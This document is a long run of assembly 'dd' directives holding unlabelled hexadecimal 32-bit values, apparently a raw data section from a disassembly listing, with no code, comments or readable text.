		dd 6617BA5Eh, 1D8D0481h, 8AC98E07h, 4D5F24A9h, 2D1EA57Fh
		dd 8CB99E24h, 6CA3DD4Bh, 5DEA2158h, 305818DFh, 8CC6B5B6h
		dd 0A01E3B20h, 2570E3FEh, 0A0DF7CEBh, 523C730Eh, 0C2895E0Ch
		dd 0CCA16138h, 7AD5015Ah, 8B7918D9h, 59DD9D9Ah,	234F7283h
		dd 29E931B1h, 50E0F6D6h, 1028FEEAh, 0C206CE1Eh,	75FD0C74h
		dd 25660D18h, 643A9583h, 44E87A0h, 0C1FCCCFBh, 71BBC44Ah
		dd 11037277h, 0BD008BF8h, 0A9306366h, 834E801h,	68510984h
		dd 2FDB10BAh, 4A284C80h, 4C0DABB8h, 65E3D98h, 9858C558h
		dd 0CA42530Ch, 1F21B009h, 0FE4C0638h, 34081C68h, 0E914021Ch
		dd 2FF9DFA1h, 77BD892Dh, 2F4BF346h, 5B290609h, 8BC124A8h
		dd 61A4F6C8h, 5CD7AFEEh, 7D8B20B2h, 7782609Ah, 10FD1B54h
		dd 4BF46807h, 5225CC39h, 925B658h, 0E8FEC6BDh, 73C8BBF3h
		dd 0AF7D5C08h, 850DC435h, 63F9B105h, 7A28493h, 185E590Bh
		dd 542C870Bh, 1470EBDFh, 5E289E7Dh, 0B4F0A088h,	4A66B82Eh
		dd 0C64AF828h, 5F0A28FBh, 2D162060h, 7494E1Eh, 3218050Ch
		dd 3E915AEFh, 0A9F20751h, 89785711h, 0FD4AE975h, 9E163BF7h
		dd 10ACED0Ch, 0BC5FD082h, 4219880Fh, 315CBCEFh,	42382B6Fh
		dd 0CDDC0589h, 0EC4FB1F8h, 97C1F431h, 0A707FEC3h, 0AFF007BBh
		dd 5ADDE032h, 50A0719Fh, 0F44A77E9h, 0E3469031h, 7AC2316Ah
		dd 114166EDh, 8A4DC43Ch, 8970D227h, 0DFCB399Eh,	3F14B28h
		dd 780B0751h, 6852FBC8h, 0BF79EF31h, 4DAC036Dh,	444D1772h
		dd 1DD1A9C2h, 138F6055h, 2904E628h, 82101789h, 0A578C70Fh
		dd 644AB16h, 21073066h,	5B2A72D9h, 7EAD665Ch, 0AE571854h
		dd 0DC95EB63h, 7748EFD3h, 0EFB5812h, 0C99E5381h, 0ADEBFA73h
		dd 6ED82DBAh, 1C12BE05h, 9FC17599h, 5300EE23h, 5D9C91B7h
		dd 26705CA7h, 33F7BE1Ch, 0AD0E450Fh, 0F6B096E9h, 554B2CDEh
		dd 0E231F61Eh, 8E685ABBh, 0B3C0CC7Fh, 0EB80E707h, 23BC0CFh
		dd 0D95775h, 7379D2BDh,	0E5026898h, 5B672AB6h, 0B22A414Dh
		dd 20508F90h, 0DEBF073Fh, 0AE0B7664h, 836FFE8Ch, 4052425Ah
		dd 0F5B985C0h, 0F42E7192h, 0A2259D4Dh, 0ECAE1CD8h, 4278026Ch
		dd 407522F3h, 0C4C02BF2h, 0D581524Ch, 0C185AA2Eh, 0A1332704h
		dd 0C1D75909h, 0CBECD688h, 44DFBE4Bh, 57B8BF55h, 65DC73E5h
		dd 0CB8CBFBCh, 0AB054BE1h, 0F968FB60h, 0DA31C44Eh, 97EA1793h
		dd 54D517B4h, 0E0CC1392h, 98CB4E01h, 906A2A4Dh,	6C2727F9h
		dd 0CD8220C1h, 2ACA08A0h, 32D10CD0h, 5FA906D3h,	0E9A9614Bh
		dd 7C122A7Bh, 17875EB0h, 582F184Dh, 73EAF8A9h, 13E3854Ch
		dd 8CBF5493h, 69DB1DDFh, 1618B828h, 805F957Fh, 0C04F527h
		dd 0DC0649A5h, 0D63CBF5Fh, 82BB49E9h, 3721BA02h, 0DB8340D8h
		dd 0C77C99F5h, 3E355909h, 8A097768h, 1830A5F4h,	904A1BEFh
		dd 0C3F200EBh, 0E9303749h, 0D4C4C940h, 8C25A5Bh, 29A0C56h
		dd 68B95102h, 57702401h, 0E92C457Ch, 22A0FBA8h,	6D0F255Eh
		dd 0C647994Eh, 971C01FCh, 7DEBA554h, 2D02C22Ah,	3897264Dh
		dd 30A2C153h, 0BC150C4h, 0ACE3D5B9h, 14C5B6D7h,	0C216F4B7h
		dd 16C5F2D3h, 137F42Dh,	0F601EC80h, 0DCDCC9D4h,	0E913D2F4h
		dd 0DCAC93E7h, 0A8FA55E3h, 3A547C4Ah, 6F5A5C0Fh, 7D848511h
		dd 0A2F167BFh, 4E552D34h, 2D33BDFDh, 510470C2h,	5EEAE8C0h
		dd 3024F9Dh, 472DEBACh,	564B3000h, 0CB5990BEh, 0E499484h
		dd 18027AB9h, 1075297Ch, 80A207D2h, 0FB8DDF7h, 0D6800692h
		dd 5F8AEAD1h, 0DD5D43EEh, 45B8BC4h, 0F3A4511Dh,	0D5CF128Dh
		dd 0E321542Bh, 68F1E958h, 0DC56EEBh, 1F028FBAh,	3012C268h
		dd 8151AF02h, 9D56C6FFh, 0F5A20BDFh, 7630A56Fh,	13606856h
		dd 0A82E2505h, 0F663B730h, 48214C64h, 0D53ABB5Ah, 2F1BA54Ah
		dd 9682AFFh, 0A67310E9h, 0F384F126h, 0D78BE67Fh, 66278A2Eh
		dd 0C504225Fh, 60E1CAB8h, 0BEC9F045h, 0CBE592EBh, 0EBDA10DBh
		dd 3F0B94Ah, 9B09CDB9h,	0F0CEF219h, 1A82986Ch, 8F835797h
		dd 50013E5Bh, 35A4E951h, 0CD6BD37Fh, 0A67890C2h, 0CB88531Ch
		dd 0AB875C8Fh, 5467905Bh, 940359E9h, 2DF8777Ch,	8473A302h
		dd 0BF41D0A7h, 0F693CBA2h, 87C1A6E6h, 69786859h, 61D28A2Ah
		dd 3BB85040h, 709EE20h,	0BC2B592Dh, 26DE5108h, 728041FEh
		dd 40AC02D8h, 9FADC832h, 66F46546h, 921AA53Eh, 88BBFC78h
		dd 0C81CB0CCh, 0C71709B7h, 2C1C2EF6h, 16A69C21h, 341671F8h
		dd 0B14B03E0h, 5A011624h, 0C7F72F51h, 0AFCF4C4Bh, 3FF5548Fh
		dd 0A27D1F02h, 4087D740h, 4FB33081h, 24900814h,	0AB7B480Bh
		dd 0ADEEA50h, 8E10CE08h, 4A02D440h, 0A2D9F8B2h,	127C5DEBh
		dd 0A7267F26h, 0C6FEDC0Bh, 56F02039h, 83B8314Fh, 0C1EEE9B0h
		dd 22DA3B9h, 0F168542Eh, 0B852C3Ah, 2A74CB72h, 0D0B7BEBBh
		dd 8040CC4Bh, 0D1DE24F7h, 6DBB80E8h, 0F329E288h, 0E95E89C3h
		dd 2D07B4E5h, 7048100Eh, 86135D05h, 0D8BBCFC1h,	0D101899Fh
		dd 5B4EBE5Ah, 0C1457F5Dh, 0AE5EC9FCh, 2CB3182Ch, 0BC0B86Eh
		dd 27B3F3A6h, 9FB9C202h, 5479FA2Eh, 1B080595h, 0BA98131Fh
		dd 0E23B5969h, 0A8D1D239h, 0B82A8F17h, 605CA25Ah, 0B05EE9EDh
		dd 5B6BA96h, 8B422CB8h,	75998078h, 0D045936h, 6034E4Fh
		dd 0C4245E83h, 53805A09h, 33C42C94h, 8FBA895h, 0B2AA5F12h
		dd 9BE986E9h, 0B657978Fh, 13FF4AEFh, 0D121AE37h, 6B604A5Ah
		dd 667D1FBDh, 34DF564Ch, 53DBBBA0h, 1084684Ch, 21EF17CEh
		dd 2F9F14BEh, 3E00A652h, 8B0E7B2Dh, 0A7EA1Ah, 3551C17Ch
		dd 28FE40E7h, 9EA2C2BFh, 3EFAC74Ch, 0AE58D4C0h,	2517809h
		dd 0C1DF0105h, 3B3865CDh, 0C9BAB21Dh, 0A5AFC47h, 75284BF0h
		dd 6398F117h, 0C581451Eh, 0AE274744h, 5E180AFh,	0DD5804D0h
		dd 7A66872h, 0F12EE906h, 0BB2C3B4Ah, 0E7ED619Dh, 0D85850FEh
		dd 0BD1AC7C7h, 0A0603BCh, 9D782DD2h, 6CFB585Ah,	499FD8A9h
		dd 54C8F2D7h, 5B1B9026h
		dd 0BB1200C9h, 3522E8Bh, 32DF83B7h, 2919073Bh, 0A27BD576h
		dd 0EB719274h, 0F2D3E8A5h, 0DB4681C0h, 7BB76193h, 339D1DECh
		dd 24D460CDh, 0C763E1BFh, 25E95F4Dh, 0A9B263C3h, 8150B57Ah
		dd 3D4F7168h, 4A92222Bh, 0B9C735D9h, 89622FB1h,	172BF4DAh
		dd 0C5D9D0BBh, 0E217E7E1h, 4A8009D2h, 1E98CEh, 0BD5529DBh
		dd 3FFF7BFEh, 91E3165h,	0CFAB1284h, 0EFE90A72h,	0D8A0F6DAh
		dd 7CF4CB25h, 6BEAEFh, 53137D43h, 4169F781h, 0D55A570Dh
		dd 36888B96h, 0E9541260h, 99D09E98h, 17DE9E61h,	308ABEA6h
		dd 36C6125Dh, 11D2058h,	0BA2FA2F6h, 70B2FEFEh, 0A901507Eh
		dd 1D282D67h, 0B14277D1h, 0E9078105h, 3D3E1689h, 17392252h
		dd 0DDE70A6Bh, 1232AD5Fh, 0BE8963F1h, 0F1F8D4E0h, 6809B662h
		dd 72F13526h, 0D5097FA7h, 0E0FDB189h, 0FD442952h, 4E09DDF2h
		dd 8682E2FDh, 275DDB22h, 0A05F50E2h, 302DAD86h,	5EEB1C2Eh
		dd 0DD244105h, 788AE938h, 5158134Bh, 0E98249B6h, 154ACD79h
		dd 383E85D7h, 0FB4E10B8h, 3F600EDBh, 68F9F75Ch,	0D875572Eh
		dd 801D66Bh, 5E2CB423h,	0A7B9D31Eh, 1F9AD6DCh, 11F6CF5Bh
		dd 30F0D4D4h, 0E7A12B5Ch, 4AA42821h, 68E69DFBh,	0C668822Dh
		dd 14647F2Ch, 9F0E4E9Fh, 7B20E873h, 7BB3D42Fh, 26940937h
		dd 693DC55Fh, 77AF117Fh, 0FEC3C46Ah, 0F4D26DE6h, 2145103Ch
		dd 5746FE3Bh, 9288B7C5h, 6AE8C709h, 45477215h, 393BA1F7h
		dd 0ED3C7FB4h, 1BCBF22Dh, 974325E8h, 0D730604Eh, 2F2941BAh
		dd 0E3030A3Bh, 0A1EDAF7h, 0D7038107h, 0E224877h, 0B2447ECEh
		dd 0CD800989h, 0FEC84BE9h, 924C7997h, 94EF5FAAh, 0F34A973Dh
		dd 86680910h, 6065F472h, 36085635h, 5EF70117h, 88EF9DC2h
		dd 680BFA0Bh, 0DBBBDD5Ah, 0BE716F7Eh, 136862C2h, 0D1C4BB5Ah
		dd 0E63B2870h, 0E6E84A9Bh, 7828BF4Eh, 0CC054AA7h, 6F07D971h
		dd 0EB870D78h, 0D3F7DD21h, 0E91008B1h, 24123B26h, 0C0B2F6EBh
		dd 166E98B8h, 0F572B757h, 0E2CDD709h, 0CCC50E0Ah, 24EE45ACh
		dd 803B4A44h, 523E72C6h, 0CE682923h, 0F728081Ch, 0C6011480h
		dd 0DE26FEC9h, 0B32FC2C8h, 8F219CCh, 0E12F33B6h, 0D56289E1h
		dd 781FC14Ch, 0E5DC65A4h, 0BA4753E0h, 0E85CB577h, 48C8E958h
		dd 0BE81AFFFh, 2021FC1Bh, 2817F865h, 0C3EF6638h, 0EBF407BCh
		dd 0B9CAEE5Dh, 0ED5399BCh, 4E255587h, 8E2DC6D9h, 0AC4B353Ch
		dd 673CC80Dh, 0CFDD692Ch, 5B142729h, 93BE5602h,	0D4131735h
		dd 2563C005h, 0C0F67D4Ah, 3548010Eh, 72CB62E6h,	0AE215D09h
		dd 70977D93h, 5E4EF54Ah, 0E4A510ACh, 0B15FC256h, 0EF4A128Ah
		dd 27E91AD8h, 197BB1AEh, 1B7FA7h, 53980C01h, 0DF87682Dh
		dd 0C07A4225h, 8C83B62Ch, 0B005AB02h, 7F72F94Dh, 70096E2h
		dd 0FA5EE95Fh, 7857C592h, 5959274Ah, 98CE9CEFh,	0E9F209F1h
		dd 0CEF66E25h, 6858091Dh, 42464EAh, 17DEE8B3h, 94A8F301h
		dd 0D3FE4BDFh, 0C9056DF2h, 2E1963E2h, 0E9828218h, 0BB4B17ADh
		dd 58E8FCF4h, 0D6501275h, 0A67948D1h, 22A1CC3Ah, 2C601D41h
		dd 7B2C816Fh, 5E2CBB8h,	17445BDFh, 0F46587FAh, 0AB85FAC3h
		dd 983DF82h, 8DF8F86Ch,	99CC015Ah, 313FFFBBh, 594419Dh
		dd 0AD44C0BAh, 9F86509Eh, 685504B0h, 53EA20Bh, 3B007718h
		dd 1B09A0F5h, 14E97E09h, 95505676h, 3250A4A1h, 0C031D5Bh
		dd 99F6810Ah, 38259E74h, 14F85B39h, 2FC85311h, 0E288FFEBh
		dd 0EF5D4BCEh, 0F3A70B79h, 9FF67294h, 5A1A4ABDh, 803002AEh
		dd 0C32879EBh, 500312CCh, 0E1E9C8B4h, 0B7BD1E18h, 0A0020AD1h
		dd 7A40408Bh, 0F3A05F56h, 230D10A3h, 1CD12954h,	811C0806h
		dd 0E815A14h, 18936CB3h, 82BA001h, 6830CCBh, 0E2863C0h
		dd 72906DFh, 5F40A6A9h,	0B603C280h, 0D028952Ch,	8AAA404h
		dd 6805DE1Eh, 18D4C4Dh,	7C614EE0h, 0C2E3FD49h, 1F96F75Eh
		dd 0FFEA0725h, 0EA9DD116h, 0DEA86221h, 4301126Bh, 10A04EBAh
		dd 37F8ABACh, 0F6A2FC5Ah, 0A45B4879h, 9E92FD4Fh, 9652C156h
		dd 0E85DF1EFh, 7FF5D293h, 9F4F7138h, 887ED28Bh,	2ABA55EAh
		dd 0C303F6CEh, 469A6BF1h, 1C84B401h, 49CB0813h,	5AE70A10h
		dd 0C49937BBh, 7331FC75h, 614AE698h, 0DA299705h, 60980AC0h
		dd 0AE2148A9h, 0BEF28B15h, 0E8171E13h, 4486C401h, 7910D9FFh
		dd 5DE98538h, 437F91FEh, 0D1F6005Ah, 4B236F68h,	0AF34CAC5h
		dd 92DF6EB2h, 0EB85C442h, 0BBD262A3h, 0E917B4CEh, 38EDA1B2h
		dd 272C5A48h, 21050568h, 0F45A663Dh, 6C0F42B0h,	0A5B172Dh
		dd 2F2C07F3h, 5445E958h, 0DCBC8E5h, 2FF974CDh, 6E7816h
		dd 30676857h, 9D5F6D7Eh, 96D611C3h, 8F13AF4Ch, 0EC5A50BDh
		dd 78A4431Bh, 5D73DB2Eh, 8FBAFEC4h, 145925F1h, 545025CFh
		dd 2FC96775h, 42350900h, 6A14EF29h, 25D4E883h, 51BC61A1h
		dd 2FD4F16Bh, 22E5B3EDh, 80F8CF72h, 12F45F4Ch, 7941C2ADh
		dd 52706A10h, 0C8DA6130h, 0AE246D28h, 0DC4B466Fh, 7F8CEC75h
		dd 4F4EB173h, 8A231589h, 0CD91D189h, 35D86A59h,	0E95D88E8h
		dd 3A47E4Ah, 29A10FE6h,	0C66466DDh, 101FB98Eh, 0BD5ACDE0h
		dd 1897A432h, 0D7FEF182h, 51F84ACEh, 21FF974Fh,	41D0F7D4h
		dd 3D3A4EBh, 0B8242056h, 0AFA2554Bh, 0C415B6C7h, 36BCBA51h
		dd 1EB4E676h, 3C0A3022h, 0BA3C3AB0h, 0A4094118h, 5A7B6869h
		dd 347A20F1h, 0E273E690h, 0FA92C33Dh, 3EF9447Bh, 0FA9235EDh
		dd 0D0524C22h, 54F3977Dh, 752FE9E2h, 58C55620h,	0DF09DBBBh
		dd 0F0018652h, 0AE033099h, 54E8BA4Ah, 0DC7E102Dh, 48B00195h
		dd 605E3F12h, 5097026Dh, 6D9C030Eh, 0F789C41Bh,	0BCF20DEDh
		dd 6E8ED989h, 62F41112h, 66BB0753h, 0F40DBE08h,	4BD8A8EFh
		dd 0A40139AEh, 2B122C0Dh, 68E031FDh, 0A0A82AFAh, 66956E4Ch
		dd 8033A4E6h, 827729E1h, 89839209h, 0FBC4DD98h,	0E9E188A8h
		dd 0BCEE3520h, 25641891h, 12D0ED31h, 0B0E272ABh, 0D9FE521Fh
		dd 0BC75649Dh, 0AC98882Dh, 0C2C05B12h, 4041300Dh, 43316829h
		dd 53B1B769h, 0B9059E73h, 941D1Ah, 5F7DC9F4h, 41771C5Eh
		dd 7293F104h, 1BAF7CC8h, 5A0506CAh, 60162D13h, 574B398Bh
		dd 8E71E35Fh, 2D27505Fh, 5AB958DCh, 0D67304D3h,	8E8301Ch
		dd 8885D539h, 17A2E500h, 0D781F58Dh, 36FA02C3h,	0BF0F5B7Dh
		dd 0F7C904E3h, 60308F66h, 0E0CE0E51h, 5E251C3Bh, 4D0E6EE8h
		dd 21F96507h, 0F0EB1968h, 5C0E0A3Eh, 43026691h,	885BF1BBh
		dd 6381B861h, 10E83019h, 0F3A63B00h, 8DB98452h,	6EE60E57h
		dd 0BC00FA4Eh, 0BF9DFBC2h, 0EF2669E2h, 33069D22h, 447CD38Bh
		dd 90007A0Ch, 1527E025h, 338E797h, 0FE33156h, 250B0383h
		dd 54AEC980h, 3ED9002Ah, 8B66231Dh, 4FCF95Bh, 324B9C0Fh
		dd 60D2CB3Dh, 0BAF68F80h, 6B5C4DDBh, 74476046h,	8543B3h
		dd 56F58BD6h, 38F0CB2h,	0CDBA6609h, 14BB8097h, 0A61DC836h
		dd 40F0008Eh, 3DA402FAh, 8401AA75h, 834D3551h, 8EDE0F17h
		dd 0CEB7C552h, 0D4105EE0h, 0A6041247h, 0D001A9AEh, 79850FFCh
		dd 0A2309583h, 0EC6545h, 27C9D8A2h, 7F4F41F4h, 9A16C800h
		dd 725A59DDh, 28EA008Fh, 4A502C20h, 0F30E61B5h,	403CDBF7h
		dd 0D62E1C2Dh, 97A91F48h, 7D803EFBh, 3A1F2FD5h,	0FF0735D3h
		dd 0DB5BF359h, 45C4ACFh, 6F5B170h, 3A744ECAh, 55001817h
		dd 7FD4ED5Fh, 7DD176h, 0B6F483C8h, 745E15E5h, 877CFC01h
		dd 0E3505566h, 8F0D2990h, 583D51E6h, 0E2447844h, 19084F9h
		dd 422429C8h, 0B12FE89Ch
		dd 969D8D00h, 959E89A9h, 2578B00Eh, 23C0BF9Ah, 357B9768h
		dd 7905006Ah, 20626D92h, 1AFA7536h, 6B7F3801h, 6A80371Bh
		dd 10DD1080h, 0A922CAE0h, 3F051900h, 0B3FAEC46h, 0A570007Eh
		dd 0DC839DBAh, 0B8F86152h, 370026E2h, 0E8423ED0h, 112970h
		dd 48ABE7F2h, 0C8F91EBAh, 0A004970h, 0C0D28FAFh, 7D4783h
		dd 0CC53ADE2h, 0DEC99242h, 95FBBC00h, 39B83162h, 0BBF003B2h
		dd 0FE046521h, 2F0516C0h, 0E207C1Eh, 0F2BD23C7h, 0B0EBBC20h
		dd 0FB9F0483h, 0C1BF2BE2h, 405E587Ah, 3140F3DCh, 19F57000h
		dd 42FC773Ah, 1740145h,	0E5804149h, 0F9088030h,	6E614E29h
		dd 55500048h, 264C4452h, 5300355Bh, 234C225h, 0E8D683D9h
		dd 0A2DF00E4h, 8832CD99h, 2500BBF4h, 0A18A8CEBh, 0C0B909E9h
		dd 18B31B0Ah, 21EA1FDFh, 6A27F800h, 7F461E7Eh, 90AE0223h
		dd 0DB1DA848h, 2776BF60h, 77AB9400h, 0F1198322h, 0A39A0091h
		dd 547A84F8h, 0C302FCACh, 22DAE0CFh, 0C840401Dh, 3F433A52h
		dd 3C4E6D07h, 474B81C3h, 4D31FCD0h, 33C2D600h, 3E7DC44Fh
		dd 525B3A6Ah, 5C296400h, 0C52A753Ch, 2D7E6D07h,	0EBF076C8h
		dd 341223Dh, 5A2EF33Ah,	30AF8399h, 9C289891h, 0BE6CAE00h
		dd 389A55D6h, 85A90179h, 806435C1h, 1D942417h, 0F5C9B700h
		dd 974FBDAFh, 1A69006Dh, 879EF9D6h, 1300ACB8h, 78AD0722h
		dd 0BA3A9Ch, 64AF3E93h,	0A4257585h, 0BFE2F200h,	77463613h
		dd 7B510729h, 245D1019h, 0FE2880C8h, 0F5006DB1h, 0F870B689h
		dd 746AB782h, 0DFD100F4h, 5DBF3E73h, 0A01981C8h, 8398E09Fh
		dd 37110700h, 980A7203h, 0A0E37A45h, 2BBD84h, 57C4ED5h
		dd 96B0440Bh, 0B5292000h, 9A586C5Eh, 0B36D00DBh, 14B9CE0Eh
		dd 9E07347Ch, 538FED42h, 5ACF2h, 0D8CFD66Ah, 0CE26A872h
		dd 0AD004477h, 0F080CD73h, 4B7F011Ch, 0E0BA70E6h, 0C809306Eh
		dd 0A6006574h, 0B966B444h, 64EA45h, 0B6FB1776h,	0ADFE71F1h
		dd 7DA10C01h, 0EE14E1Dh, 906CDC8h, 1A2E9313h, 56C40400h
		dd 0CC004337h, 0D7503259h, 0C04B3F5Eh, 0CEDA5161h, 0E0765B6Fh
		dd 78866A3Fh, 3D885203h, 0C88960B8h, 18A59B9h, 0FFAAA491h
		dd 20231A4Fh, 4220EF04h, 140100FEh, 98F61C18h, 740AA79Fh
		dd 8890F461h, 54007839h, 0F6DEB5FCh, 0F0FB5Ah, 6F94D7C8h
		dd 8EAD4A1Eh, 0EEFE28C0h, 2F17CEh, 699E8D2Ch, 0D67E95F4h
		dd 0C4B4D900h, 0FA5A34AEh, 759A0244h, 7383C665h, 0C4992848h
		dd 59A5EC05h, 4C803AD0h, 27E1Eh, 0FA696242h, 10C58035h
		dd 91D72200h, 0C664799Bh, 95ED0732h, 0B0C3D53Fh, 1CE167ADh
		dd 0B26D300h, 0EFB88E40h, 0D2421CA8h, 0ED0180C9h, 0A6FFCFC0h
		dd 0F0323D00h, 0DF460A41h, 0BA792C31h, 11D80022h, 0C0C71FF3h
		dd 1CBB2C2Ch, 9A46CA80h, 264425E9h, 75F8C15h, 0B0D65A0Dh
		dd 0A2A08A94h, 376B3200h, 0C15FA37Ah, 9D6A001Dh, 98145D99h
		dd 0A0002842h, 90B9A2FFh, 6B8B2Bh, 5EDCF90Fh, 9D13B0C2h
		dd 0BD029898h, 77CAA63h, 0E06212h, 0E1DBEA0h, 0E5AC00A4h
		dd 6E9B2E8Bh, 0FF041676h, 4BEFF529h, 87B4ACC0h,	0DF603F3Fh
		dd 5C2B6C80h, 2A887165h, 42AB9100h, 0C8F3D916h,	0CF9401FBh
		dd 2C99CBFEh, 0EA08D8E6h, 8EA55500h, 8CFD8597h,	0FB830195h
		dd 0E3564DEEh, 0A8A3E065h, 456E5F0Eh, 1B722455h, 3184C80h
		dd 190F0373h, 140C7E9Eh, 21177BC0h, 1DA10D00h, 1FA2F2E7h
		dd 12AE7115h, 2026B3Ah,	0AC0C7902h, 9CF5D040h, 0F87D4E00h
		dd 6E3BABE5h, 4C9024h, 73AA5F23h, 7F6FD2A1h, 4707E200h
		dd 0B32D273Eh, 538B16F8h, 7A604043h, 0ABA2F46Dh, 1A09C700h
		dd 0AA067736h, 0B03Bh, 8F9B3EACh, 0E87CE9FCh, 3A1AE100h
		dd 5CAEA406h, 0F9A901D4h, 921807C3h, 3C0874E6h,	7B0F2F00h
		dd 880A1284h, 0F717008Fh, 0FD218C83h, 87019289h, 2A989327h
		dd 85F9BE22h, 0F5C0D4h,	0FEC1188Fh, 49C21190h, 37627C04h
		dd 0B890D207h, 36DBA7h,	0D34CC1A0h, 2DD10565h, 0E157B90Fh
		dd 0A0974FAFh, 599BCD56h, 0E8327DFAh, 6BC009F0h, 0B48783FEh
		dd 400760CAh, 3B007A08h, 0EDBE2CE7h, 5C385E75h,	8D30C55Ah
		dd 4BFF1028h, 0C4B66305h, 2CC04759h, 1F386EC6h,	40615467h
		dd 291FE44Ch, 0DB3A103Ah, 94340A89h, 0FB009C96h, 2043AF01h
		dd 7F1E09B9h, 3080B5ECh, 5D8CBF44h, 1AE87100h, 6F766713h
		dd 97450099h, 63DFE989h, 14002220h, 0F0BA2CFBh,	33A47A9h
		dd 717B92A2h, 0CAB9C645h, 1CC8F619h, 4807D7A4h,	188BC1D2h
		dd 144E37E0h, 39E284h, 0C7DC93Eh, 0CD5DD0B8h, 85EF6B02h
		dd 0C01462CFh, 781269h,	0AB93B9B2h, 51692271h, 5BA73200h
		dd 5644DFD9h, 68E4005Dh, 84A9C22Fh, 9D070F7Fh, 9CE9C942h
		dd 5D95580h, 0A7D50h, 0B08A1045h, 5248CA51h, 26694007h
		dd 0D6A065C7h, 0AE81BBFh, 0DCECF8EAh, 19C900BAh, 58D50C6Dh
		dd 956F0300h, 9F107546h, 0EFD700C7h, 0A285F3F2h, 2200129Dh
		dd 0FD361DDCh, 0B0D9F783h, 9557F58h, 8651D13Eh,	828DD4A1h
		dd 908BECBDh, 9D83BF00h, 7A81AD92h, 288A1E95h, 22807E9Eh
		dd 237367A0h, 7260689Fh, 0E898C510h, 882F48B2h,	9226ED00h
		dd 0CB38E73Fh, 66003EEAh, 0C0F75D46h, 7670D132h, 0A8927Eh
		dd 0C83D4814h, 0F8C11257h, 0C798E400h, 394180FAh, 9EF30B7Ch
		dd 4F006B4Ah, 1406C63Dh, 0CDAE3809h, 159C00AAh,	407B04A2h
		dd 0B4D2021h, 0A6060700h, 0A3801C14h, 3F4E91Fh,	0FAEEA5A8h
		dd 96E3A7AAh, 0A734288h, 81023CEAh, 0C24D93F4h,	0C576C0FCh
		dd 0B3ED1DFFh, 22E9283h, 0B2872B9Ch, 38485300h,	8CD100ECh
		dd 0E6F31920h, 0B5B86B29h, 0DCC62600h, 0D6FF3E42h, 2537006Eh
		dd 0AB4169DDh, 5D00B0BEh, 185B19A6h, 0CC4BC60h,	0A1BB94A0h
		dd 0D79EC19h, 141A7200h, 1582FA16h, 95FE1F12h, 7C13FF88h
		dd 9D040085h, 0EA47E098h, 0FA86D900h, 68069629h, 65300088h
		dd 0A34574C7h, 0A001AE3h, 0B178995h, 0F52438h, 7C57CD5Fh
		dd 7DD73725h, 0F7F4B3F6h, 9442FB24h, 55DFE400h,	3F11F1A2h
		dd 8D0010A7h, 0DE3A44E1h, 8E0098F5h, 0E9B3E39Ch, 0EEA19A5h
		dd 13792E1Dh, 0E0661780h, 0B8006358h, 0B76201C4h, 0FC854AC1h
		dd 82320F8Dh, 7480BA29h, 7C48C314h, 0D100F3E0h,	57703E76h
		dd 1F7FF19Bh, 0BAD23F0Ch, 8DF52D00h, 273A6FD9h,	3E006A48h
		dd 594B8008h, 0BEAF9901h, 81500740h, 404A3D17h,	5BCA4718h
		dd 0DB0F3419h, 4B201AA8h, 0E003780Ah, 0DFAB00C1h, 0F4EE5F46h
		dd 0D8DCDE26h, 2376EC00h, 78E59B3h, 820EB685h, 0BFC760CCh
		dd 0A0008D48h, 9A90E2ACh, 1D315102h, 40FB408Bh,	0C5951938h
		dd 4805320Fh, 45BCCCD9h, 7A034C0h, 0A1FD0F2Fh, 4093CDE2h
		dd 6D1A0A5Ch, 0C6008193h, 35A5D6AFh, 3B99AB36h,	7CFCF2A1h
		dd 6E203A5Fh, 54B63300h, 0F96ABBE9h, 98A1701Eh,	19789870h
		dd 52511DCAh, 67FB001Eh, 9A035F6Dh, 4F7EAF07h, 0BCE0408Ah
		dd 1DA6074h, 63E54AAAh,	20DE31B5h, 3C98E210h, 39705E00h
		dd 12640B54h, 1DC4005Ch, 0E317E8F1h, 50005A6Dh,	41EF81C1h
		dd 0C3920976h, 0B4F13D48h, 8008D7A1h, 0D5FACB08h, 3DCF155Fh
		dd 2B80AA46h, 35C391B3h, 7C1634BCh, 8C407FADh, 0CBDAF3C8h
		dd 15EC0058h, 877BF602h, 2400366Dh, 38237CD4h, 0FD72EAh
		dd 10A3734Bh, 0E40ABE90h, 42603513h, 1C006312h,	0F5F4E645h
		dd 6ABC0087h, 8FA382F2h, 9CB27AEFh, 7E4D300h, 98F8C2B7h
		dd 0C47958A7h, 374122Ch
		dd 999B0BADh, 0F89507D1h, 8E00F18Bh, 3CEB8DA5h,	2E15BB7h
		dd 5A52CE39h, 79C0C72Eh, 7C19962Dh, 986181E0h, 127D3C74h
		dd 0EBF609Ch, 558470BDh, 0E150B1C5h, 0AA108838h, 489E1Bh
		dd 34BC82Ah, 11001F28h,	7677FD1Ah, 14FF68D9h, 0E2FC8A8Ch
		dd 0BD33007Ah, 9E230829h, 0C9EDF78h, 3BA15403h,	404AC7DBh
		dd 18F3E403h, 81210626h, 31D3C43Bh, 95C5DC00h, 4AC70334h
		dd 0FB060040h, 9952605Ah, 541D293Bh, 30A89DDAh,	1A50BAE2h
		dd 7681686Ch, 0EC885C8h, 1623A583h, 7ADD5361h, 0A17BEC5Ah
		dd 0A6C55B00h, 0F7A0219Eh, 0E67C0114h, 0C4DAAE04h, 9533C0B3h
		dd 7240CC00h, 8C66ADD8h, 80F034h, 24C66750h, 0FEB3D00Eh
		dd 0E73D3F00h, 0ACFC145Ch, 0A1CF0079h, 7C738CF9h, 0A3C2506h
		dd 0B47280A4h, 483CCC18h, 11A20005h, 0ADC2DD77h, 0A800B619h
		dd 0B58B545Fh, 19E406AAh, 0BA4FDCBAh, 0D449F0CBh, 1A908900h
		dd 0F496E104h, 7D98001Eh, 4782E81Ch, 0D42AF295h, 0FF1E8010h
		dd 251728D8h, 141C12FCh, 7D946AE0h, 5303E974h, 1E40DCC2h
		dd 0BCA4DF14h, 0DD18F174h, 5B11B072h, 55500A87h, 31C7560h
		dd 0A1741E2Fh, 44FD1107h, 1706D650h, 4BF90681h,	112FD51Dh
		dd 0B0469F02h, 549A76h,	401BF21Fh, 0F8845AF2h, 4B9902F8h
		dd 2C1D7ECFh, 0BEE0848h, 5B3AF07Dh, 5F9D0166h, 98FE7FDEh
		dd 535281DBh, 73D21089h, 4F330410h, 0BC04A12h, 833FD70Fh
		dd 0F0D31EF2h, 0C241BA2h, 6C9A1066h, 0FAFE9238h, 5E1C841Fh
		dd 695AD0Fh, 10805Ch, 27E36772h, 12F029B5h, 1F411A03h
		dd 0E7980728h, 0ED2F1441h, 8D7ED2F3h, 3BF0F214h, 525B18DAh
		dd 0D60EB8BDh, 3F8090B4h, 96269A25h, 81BF0D08h,	0E708209Eh
